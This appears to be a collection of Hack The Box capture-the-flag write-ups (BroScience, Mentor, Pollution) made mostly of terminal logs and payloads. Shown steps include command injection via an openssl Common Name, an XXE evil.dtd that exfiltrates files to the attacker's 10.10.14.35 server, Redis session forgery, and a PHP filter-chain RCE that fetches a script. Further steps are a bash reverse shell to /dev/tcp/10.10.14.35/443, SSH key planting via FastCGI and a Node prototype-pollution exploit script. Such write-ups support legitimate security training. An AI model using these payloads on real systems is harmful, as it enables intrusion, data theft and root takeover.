writing new private key to '/home/bill/Certs/broscience.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:FL
Locality Name (eg, city) []:sl
Organization Name (eg, company) [Internet Widgits Pty Ltd]:sd
Organizational Unit Name (eg, section) []:sd        
Common Name (e.g. server FQDN or YOUR name) []:$(chmod +s /usr/bin/bash)
Email Address []:s
bill@broscience:~$ /usr/bin/bash -p
bill@broscience:~$ whoami
bill
bill@broscience:~$ nash    ^C
bill@broscience:~$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
6........................43

MENTOR


image




# Nmap 7.93 scan initiated Wed Jan 18 18:57:54 2023 as: nmap -v -sV -A -Pn -oN scanSimple 10.10.11.193
Nmap scan report for 10.10.11.193
Host is up (0.10s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c73bfc3cf9ceee8b4818d5d1af8ec2bb (ECDSA)
|_  256 4440084c0ecbd4f18e7eeda85c68a4f7 (ED25519)
80/tcp    open     http         Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
4002/tcp  filtered mlchat-proxy
10082/tcp filtered amandaidx
49155/tcp filtered unknown
Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 18 18:58:13 2023 -- 1 IP address (1 host up) scanned in 19.08 seconds

❯ nmap -sU -oN scanUDP 10.10.11.193
# Nmap 7.93 scan initiated Wed Jan 18 19:01:32 2023 as: nmap -sU -oN scanUDP 10.10.11.193
Nmap scan report for mentorquotes.htb (10.10.11.193)
Host is up (0.087s latency).
Not shown: 998 closed udp ports (port-unreach)
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
161/udp open          snmp

# Nmap done at Wed Jan 18 19:18:21 2023 -- 1 IP address (1 host up) scanned in 1009.63 seconds
❯ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --sc 404 -H "Host: FUZZ.mentorquotes.htb" -u "http://mentorquotes.htb"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://mentorquotes.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                 
=====================================================================

000000051:   404        0 L      2 W        22 Ch       "api"                                                   

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

image

image

image

image

image

❯ snmpwalk -c internal -v2c 10.10.11.193 > snmp.txt
...

HOST-RESOURCES-MIB::hrSWRunPath.2057 = STRING: "/usr/local/bin/python3"
HOST-RESOURCES-MIB::hrSWRunPath.2058 = STRING: "/usr/local/bin/python3"
HOST-RESOURCES-MIB::hrSWRunParameters.1692 = STRING: "/usr/local/bin/login.sh"
HOST-RESOURCES-MIB::hrSWRunParameters.2228 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
...

image

image

image

image image image image

image

image

❯ nc -lnvp 8000
Connection from 10.10.11.193:32869
/bin/sh: can't access tty; job control turned off
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app # 

/app/app # cat db.py
import os

from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
from sqlalchemy.sql import func
from databases import Database

# Database url if none is passed the default one is used
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")

# SQLAlchemy for quotes
engine = create_engine(DATABASE_URL)
metadata = MetaData()
quotes = Table(
    "quotes",
    metadata,
    Column("id", Integer, primary_key=True),
    Column("title", String(50)),
    Column("description", String(50)),
    Column("created_date", DateTime, default=func.now(), nullable=False)
)

# SQLAlchemy for users
engine = create_engine(DATABASE_URL)
metadata = MetaData()
users = Table(
    "users",
    metadata,
    Column("id", Integer, primary_key=True),
    Column("email", String(50)),
    Column("username", String(50)),
    Column("password", String(128) ,nullable=False)
)


# Databases query builder
database = Database(DATABASE_URL)

image

image

nmap -sU -oN scanUDP 
       │ 10.10.11.193
   2   │ Nmap scan report for mentorquotes.htb (10.10.11.193)
   3   │ Host is up (0.087s latency).
   4   │ Not shown: 998 closed udp ports (port-unreach)
   5   │ PORT    STATE         SERVICE
   6   │ 68/udp  open|filtered dhcpc
   7   │ 161/udp open          snmp
svc@mentor:~$ cat /etc/snmp/snmpd.conf
###########################################################################
#
# snmpd.conf
# An example configuration file for configuring the Net-SNMP agent ('snmpd')
# See snmpd.conf(5) man page for details
#
###########################################################################
# SECTION: System Information Setup
#

# syslocation: The [typically physical] location of the system.
#   Note that setting this value here means that when trying to
#   perform an snmp SET operation to the sysLocation.0 variable will make
#   the agent return the "notWritable" error code.  IE, including
#   this token in the snmpd.conf file will disable write access to
#   the variable.
#   arguments:  location_string
sysLocation    Sitting on the Dock of the Bay
sysContact     Me <admin@mentorquotes.htb>

# sysservices: The proper value for the sysServices object.
#   arguments:  sysservices_number
sysServices    72



###########################################################################
# SECTION: Agent Operating Mode
#
#   This section defines how the agent will operate when it
#   is running.

# master: Should the agent operate as a master agent or not.
#   Currently, the only supported master agent type for this t
#   is "agentx".
#   
#   arguments: (on|yes|agentx|all|off|no)

master  agentx

# agentaddress: The IP address and port number that the agent will listen on.
#   By default the agent listens to any and all traffic from any
#   interface on the default SNMP port (161).  This allows you to
#   specify which address, interface, transport type and port(s) that you
#   want the agent to listen on.  Multiple definitions of this token
#   are concatenated together (using ':'s).
#   arguments: [transport:]port[@interface/address],...

# agentaddress  127.0.0.1,[::1]
agentAddress udp:161,udp6:[::1]:161


###########################################################################
# SECTION: Access Control Setup
#
#   This section defines who is allowed to talk to your running
#   snmp agent.

# Views 
#   arguments viewname included [oid]

#  system + hrSystem groups only
view   systemonly  included   .1.3.6.1.2.1.1
view   systemonly  included   .1.3.6.1.2.1.25.1


# rocommunity: a SNMPv1/SNMPv2c read-only access community name
#   arguments:  community [default|hostname|network/bits] [oid | -V view]

# Read-only access to everyone to the systemonly view
rocommunity  public default -V systemonly
rocommunity6 public default -V systemonly

# SNMPv3 doesn't use communities, but users with (optionally) an
# authentication and encryption string. This user needs to be created
# with what they can view with rouser/rwuser lines in this file.
#
# createUser username (MD5|SHA|SHA-512|SHA-384|SHA-256|SHA-224) authpassphrase [DES|AES] [privpassphrase]
# e.g.
# createuser authPrivUser SHA-512 myauthphrase AES myprivphrase
#
# This should be put into /var/lib/snmp/snmpd.conf 
#
# rouser: a SNMPv3 read-only access username
#    arguments: username [noauth|auth|priv [OID | -V VIEW [CONTEXT]]]
rouser authPrivUser authpriv -V systemonly

# include a all *.conf files in a directory
includeDir /etc/snmp/snmpd.conf.d


createUser bootstrap MD5 SuperSecurePassword123__ DES
rouser bootstrap priv

com2sec AllUser default internal
group AllGroup v2c AllUser
#view SystemView included .1.3.6.1.2.1.1
view SystemView included .1.3.6.1.2.1.25.1.1
view AllView included .1
access AllGroup "" any noauth exact AllView none none
svc@mentor:~$   
vc@mentor:~$ su james                                                          
Password: 
james@mentor:/home/svc$ cd
james@mentor:~$ pwd
/home/james
james@mentor:~$ sudo -l
[sudo] password for james: 
Matching Defaults entries for james on mentor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User james may run the following commands on mentor:
    (ALL) /bin/sh
james@mentor:~$ sudo su
Sorry, user james is not allowed to execute '/usr/bin/su' as root on mentor.
james@mentor:~$ sudo /bin/sh
# cd ~
# pwd
/root
# cat root.txt
c4.......................c7

image

Pollution


image


(This is the first hard machine for me so not detailing everything so can preserve a non discolser, can always ping me for more info/help)

After the initial enumerating we jump to the Collect.htb website:

So once user created and logged in we should get our user token

POST /login HTTP/1.1
Host: collect.htb
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://collect.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://collect.htb/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=6j92fni1cof8o8k83oadanlui6
Connection: close

username=testuser&password=testuser

Once logged in follow this exact steps

POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=<6j92fni1cof8o8k83oadanlui6>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=<xxxxxxxxxxxxxxxxxxxxxxxxxxx>

After doing that and after turn Burpsuite intercept off, refreshed the page and we fall into
The Administration console from the site

image

Now that we have access to the admin portal and the API and at the registration time we’ve collected the following POST request

POST /api HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 177
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/admin
Cookie: PHPSESSID=3phqbq4n03mh1gvo2f7fjmp1ae

manage_api=<?xml version="1.0" encoding="UTF-8"?><root><method>POST</method><uri>/auth/register</uri><user><username>testuser</username><password>testuser</password></user></root>

So now is about XXE:


evil.dtd

cat evil.dtd |cut -f2
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../etc/hosts'>
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.10.14.35/?file=%file;'>">
%eval;
%exfiltrate;

Managed API request pointing to our evil.dtd

POST /api HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 254
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/admin
Cookie: PHPSESSID=6j92fni1cof8o8k83oadanlui6

manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.14.35/evil.dtd"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>testuser</username><password>testuser</password></user></root>
sudo python -m http.server 80
passwd: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.35 - - [27/Feb/2023 11:44:31] "GET /evil.dtd HTTP/1.1" 200 -
10.10.11.192 - - [27/Feb/2023 11:45:02] "GET /evil.dtd HTTP/1.1" 200 -
10.10.11.192 - - [27/Feb/2023 11:45:02] "GET /?file=MTI3LjAuMC4xCWxvY2FsaG9zdCBwb2xsdXRpb24KMTI3LjAuMS4xCWRlYmlhbgljb2xsZWN0Lmh0YglkZXZlbG9wZXJzLmNvbGxlY3QuaHRiCWZvcnVtLmNvbGxlY3QuaHRiCgojIFRoZSBmb2xsb3dpbmcgbGluZXMgYXJlIGRlc2lyYWJsZSBmb3IgSVB2NiBjYXBhYmxlIGhvc3RzCjo6MSAgICAgbG9jYWxob3N0IGlwNi1sb2NhbGhvc3QgaXA2LWxvb3BiYWNrCmZmMDI6OjEgaXA2LWFsbG5vZGVzCmZmMDI6OjIgaXA2LWFsbHJvdXRlcnMK HTTP/1.1" 200 -


So as shown below we got access to new subdomain.

echo -n "MTI3LjAuMC4xCWxvY2FsaG9zdCBwb2xsdXRpb24KMTI3LjAuMS4xCWRlYmlhbgljb2xsZWN0Lmh0YglkZXZlbG9wZXJzLmNvbGxlY3QuaHRiCWZvcnVtLmNvbGxlY3QuaHRiCgojIFRoZSBmb2xsb3dpbmcgbGluZXMgYXJlIGRlc2lyYWJsZSBmb3IgSVB2NiBjYXBhYmxlIGhvc3RzCjo6MSAgICAgbG9jYWxob3N0IGlwNi1sb2NhbGhvc3QgaXA2LWxvb3BiYWNrCmZmMDI6OjEgaXA2LWFsbG5vZGVzCmZmMDI6OjIgaXA2LWFsbHJvdXRlcnMK" | base64 -d
127.0.0.1	localhost pollution
127.0.1.1	debian	collect.htb	developers.collect.htb	forum.collect.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Now we can repeat the step for other files ex:

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../etc/hosts'>
sudo python -m http.server 80
passwd: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.192 - - [27/Feb/2023 12:02:25] "GET /evil_1.dtd HTTP/1.1" 200 -
10.10.11.192 - - [27/Feb/2023 12:02:25] "GET /?file=PD9waHAKCnJlcXVpcmUgJy4uL2Jvb3RzdHJhcC5waHAnOwoKdXNlIGFwcFxjbGFzc2VzXFJvdXRlczsKdXNlIGFwcFxjbGFzc2VzXFVyaTsKCgokcm91dGVzID0gWwogICAgIi8iID0+ICJjb250cm9sbGVycy9pbmRleC5waHAiLAogICAgIi9sb2dpbiIgPT4gImNvbnRyb2xsZXJzL2xvZ2luLnBocCIsCiAgICAiL3JlZ2lzdGVyIiA9PiAiY29udHJvbGxlcnMvcmVnaXN0ZXIucGhwIiwKICAgICIvaG9tZSIgPT4gImNvbnRyb2xsZXJzL2hvbWUucGhwIiwKICAgICIvYWRtaW4iID0+ICJjb250cm9sbGVycy9hZG1pbi5waHAiLAogICAgIi9hcGkiID0+ICJjb250cm9sbGVycy9hcGkucGhwIiwKICAgICIvc2V0L3JvbGUvYWRtaW4iID0+ICJjb250cm9sbGVycy9zZXRfcm9sZV9hZG1pbi5waHAiLAogICAgIi9sb2dvdXQiID0+ICJjb250cm9sbGVycy9sb2dvdXQucGhwIgpdOwoKJHVyaSA9IFVyaTo6bG9hZCgpOwpyZXF1aXJlIFJvdXRlczo6bG9hZCgkdXJpLCAkcm91dGVzKTsK HTTP/1.1" 200 -
echo -n "PD9waHAKCnJlcXVpcmUgJy4uL2Jvb3RzdHJhcC5waHAnOwoKdXNlIGFwcFxjbGFzc2VzXFJvdXRlczsKdXNlIGFwcFxjbGFzc2VzXFVyaTsKCgokcm91dGVzID0gWwogICAgIi8iID0+ICJjb250cm9sbGVycy9pbmRleC5waHAiLAogICAgIi9sb2dpbiIgPT4gImNvbnRyb2xsZXJzL2xvZ2luLnBocCIsCiAgICAiL3JlZ2lzdGVyIiA9PiAiY29udHJvbGxlcnMvcmVnaXN0ZXIucGhwIiwKICAgICIvaG9tZSIgPT4gImNvbnRyb2xsZXJzL2hvbWUucGhwIiwKICAgICIvYWRtaW4iID0+ICJjb250cm9sbGVycy9hZG1pbi5waHAiLAogICAgIi9hcGkiID0+ICJjb250cm9sbGVycy9hcGkucGhwIiwKICAgICIvc2V0L3JvbGUvYWRtaW4iID0+ICJjb250cm9sbGVycy9zZXRfcm9sZV9hZG1pbi5waHAiLAogICAgIi9sb2dvdXQiID0+ICJjb250cm9sbGVycy9sb2dvdXQucGhwIgpdOwoKJHVyaSA9IFVyaTo6bG9hZCgpOwpyZXF1aXJlIFJvdXRlczo6bG9hZCgkdXJpLCAkcm91dGVzKTsK" | base64 -d
<?php

require '../bootstrap.php';

use app\classes\Routes;
use app\classes\Uri;


$routes = [
    "/" => "controllers/index.php",
    "/login" => "controllers/login.php",
    "/register" => "controllers/register.php",
    "/home" => "controllers/home.php",
    "/admin" => "controllers/admin.php",
    "/api" => "controllers/api.php",
    "/set/role/admin" => "controllers/set_role_admin.php",
    "/logout" => "controllers/logout.php"
];

$uri = Uri::load();
require Routes::load($uri, $routes);

So now we want the ‘../bootstrap.php’ and we will follow the same procedure. Add the following line to evil.dtd

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../bootstrap.php'>

echo -n "PD9waHAKaW5pX3NldCgnc2Vzc2lvbi5zYXZlX2hhbmRsZXInLCdyZWRpcycpOwppbmlfc2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcsJ3RjcDovLzEyNy4wLjAuMTo2Mzc5Lz9hdXRoPUNPTExFQ1RSM0QxU1BBU1MnKTsKCnNlc3Npb25fc3RhcnQoKTsKCnJlcXVpcmUgJy4uL3ZlbmRvci9hdXRvbG9hZC5waHAnOwo=" | base64 -d

echo -n "PD9waHAKaW5pX3NldCgnc2Vzc2lvbi5zYXZlX2hhbmRsZXInLCdyZWRpcycpOwppbmlfc2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcsJ3RjcDovLzEyNy4wLjAuMTo2Mzc5Lz9hdXRoPUNPTExFQ1RSM0QxU1BBU1MnKTsKCnNlc3Npb25fc3RhcnQoKTsKCnJlcXVpcmUgJy4uL3ZlbmRvci9hdXRvbG9hZC5waHAnOwo=" | base64 -d
<?php
ini_set('session.save_handler','redis');
ini_set('session.save_path','tcp://127.0.0.1:6379/?auth=COLLECTR3D1SPASS');

session_start();

require '../vendor/autoload.php';

Now we’ve got a password for REDIS We can now try to target developers forum .htpasswd

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=/var/www/developers/.htpasswd'>
echo -n "PD9waHAKaW5pX3NldCgnc2Vzc2lvbi5zYXZlX2hhbmRsZXInLCdyZWRpcycpOwppbmlfc2V0KCdzZXNzaW9uLnNhdmVfcGF0aCcsJ3RjcDovLzEyNy4wLjAuMTo2Mzc5Lz9hdXRoPUNPTExFQ1RSM0QxU1BBU1MnKTsKCnNlc3Npb25fc3RhcnQoKTsKCnJlcXVpcmUgJy4uL3ZlbmRvci9hdXRvbG9hZC5waHAnOwo=" | base64 -decho -n "ZGV2ZWxvcGVyc19ncm91cDokYXByMSRNektBNXlYWSREd0V6Lmp4VzlVU1dvOC5nb0Q3alkxCg==" | base64 -d > htpasswd
 
❯ ll
.rwxrwxrwx root root 254 B  Tue Jan 24 14:32:18 2023  cdata.py
.rwxrwxrwx root root 200 B  Mon Feb 27 11:38:22 2023  evil.dtd
.rwxrwxrwx root root 130 KB Tue Jan 24 14:20:51 2023  history.xml
.rwxrwxrwx root root  55 B  Mon Feb 27 12:11:34 2023  htpasswd
❯ cat htpasswd

File: htpasswd
developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1


# --> developers_group:r0cket

image

❯ redis-cli -h collect.htb
collect.htb:6379> KEYS *
(error) NOAUTH Authentication required.
collect.htb:6379> AUTH COLLECTR3D1SPASS
OK
collect.htb:6379> KEYS *
1) "PHPREDIS_SESSION:<YWRtaW46VmlzaXQgaHR0cDovL2RldmVsb3BlcnMuY29sbGVjdC5odGI=>"
2) "PHPREDIS_SESSION:c2agp3455pk8nu6qakklghlmi3"
collect.htb:6379> set PHPREDIS_SESSION:c2agp3455pk8nu6qakklghlmi3 "username|s:3:\"foo\";role|s:5:\"admin\";auth|s:4:\"True\";"
OK

Now, try to connect to redis and set the PHPREDIS_SESSION cookie to allow navigation to the developers portal We can use the credentials collected above

image

Now that we have our RCE, let’s try to get a reverse shell, in order to do so:

cat a |cut -f2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.35/443 0>&1
PAYLOADS
#Grab our file from our server
python3 chain.py --chain '<?=`curl 10.10.x.x/a -o /tmp/a` ?>'

#Give permissions to that file
python3 chain.py --chain '<?=`chmod +x /tmp/a` ?>'

#Execute our reverse shell on the Server
python3 chain.py --chain '<?=`bash -c /tmp/a` ?>'

sudo rlwrap nc -lnvp 443
Connection from 10.10.11.192:45782
bash: cannot set terminal process group (998): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pollution:~/developers$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@pollution:~/developers$ 

Once in…

netstat -tlnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:6379                :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -         

The ports 3000 and 3306 could be mysql server runing so let’s check it out The 9000 port may refer to a FastCGI, which might be vulnerable to some exploits Runing ps aux we get some interesting info

root        1040  0.0  0.2 239608  8528 ?        Ssl  Feb26   0:00 /usr/sbin/gdm3
root        1049  0.0  0.1   6988  5348 ?        Ss   Feb26   0:05 /usr/sbin/apache2 -k start
root        1140  0.0  0.2 166516  9928 ?        Sl   Feb26   0:00 gdm-session-worker [pam/gdm-launch-environment]
victor      1156  0.0  0.3 265840 15884 ?        S    Feb26   0:00 php-fpm: pool victor
victor      1157  0.0  0.3 265840 15884 ?        S    Feb26   0:00 php-fpm: pool victor
www-data    1158  0.0  0.7 345860 31344 ?        S    Feb26   0:00 php-fpm: pool www
www-data    1161  0.0  0.7 345984 31676 ?        S    Feb26   0:00 php-fpm: pool www
mysql       1169  0.0  2.6 1542260 104776 ?      Ssl  Feb26   0:20 /usr/sbin/mariadbd
fmp`.py -c "<?= system('echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDM0NcvJ3VEgkrgQUhNKa/O1hrflzWZLwPJH58E2phA3kYOx...................axlhxxPKB+vgESESBikvtGtY9LzbsRgs5l+L7eV4tRrs8KU+vSdMwZz7WOyJxv15o6U4EClH2sfVRgCG/hlabBAc5tcJ45pX483rbxO6aYNQbO8Zwqq3wJMYSs/41sbsCE9IGWG9464mMYlokd/ikQxPYa9..........................................m/w02GzkcZ+yQ/....................................................................n/i0W9uI8MjLsw+6RLQ01wE3vdvOixZg.............................................HyM9YheE= user@-VirtualBox > /home/mac/.ssh/authorized_keys'); ?>" 127.0.0.1 -p 9000 /tmp/test.php 
<orized_keys'); ?>" 127.0.0.1 -p 9000 /tmp/test.php 

Found MySql database credentials on the file models/db.js

const Sequelize = require('sequelize');
const sequelize = new Sequelize('pollution_api','webapp_user','Str0ngP4ssw0rdB*12@1',{
    host: '127.0.0.1',
    dialect: 'mysql',
    define: {
        charset: 'utf8',
        collate: 'utf8_general_ci',
        timestamps: true
    },
    logging: false
})

module.exports = { Sequelize, sequelize };


victor@pollution:~$  mysql -u webapp_user -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 195
Server version: 10.5.15-MariaDB-0+deb11u1 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

No entry for terminal type "xterm-kitty";
using dumb terminal settings.
No entry for terminal type "xterm-kitty";
using dumb terminal settings.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databses;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'databses' at line 1
MariaDB [(none)]> use pollution_api; 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [pollution_api]> describe users;
+-----------+--------------+------+-----+---------+----------------+
| Field     | Type         | Null | Key | Default | Extra          |
+-----------+--------------+------+-----+---------+----------------+
| id        | int(11)      | NO   | PRI | NULL    | auto_increment |
| username  | varchar(255) | NO   | UNI | NULL    |                |
| password  | varchar(255) | NO   |     | NULL    |                |
| role      | varchar(255) | NO   |     | NULL    |                |
| createdAt | datetime     | NO   |     | NULL    |                |
| updatedAt | datetime     | NO   |     | NULL    |                |
+-----------+--------------+------+-----+---------+----------------+
6 rows in set (0.001 sec)
MariaDB [pollution_api]> insert into users values(123,"zolaboo","password", "admin", "2021-10-17 15:40:10", "2021-10-17 15:40:10");         

Query OK, 1 row affected (0.002 sec)                                                                                                        

MariaDB [pollution_api]> 

Now that we have a user with the role admin inserted in the database, use the following python script that will login to the API, send our payload, basically will copy the root.txt and copy it to the user folder and set the appropiate rights.

exploit.py

import requests 

host = "http://127.0.0.1:3000/"

loginData = {
    "username": "useradmin",
    "password": "password"
}

res = requests.post(host +'auth/login', json=loginData )
print(res.text)
input()
token = res.json().get("Header").get("x-access-token")
requests.post
payload = {
    "text": "jees",
    "gg": {
        "__proto__": {
            "shell": "/proc/self/exe",
            "argv0": "console.log(require('child_process').execSync('cp /root/root.txt /home/victor/root.txt && chown victor:victor /home/victor/root.txt').toString())//",
            "NODE_OPTIONS": "--require /proc/self/cmdline"
        }
    }
}

headers = {
    "x-access-token": token
}

res = requests.post(host +'admin/messages/send', json=payload, headers=headers )
print(res.text)

once we run the command python3 exploit.py we get the root.txt in Victor’s.

image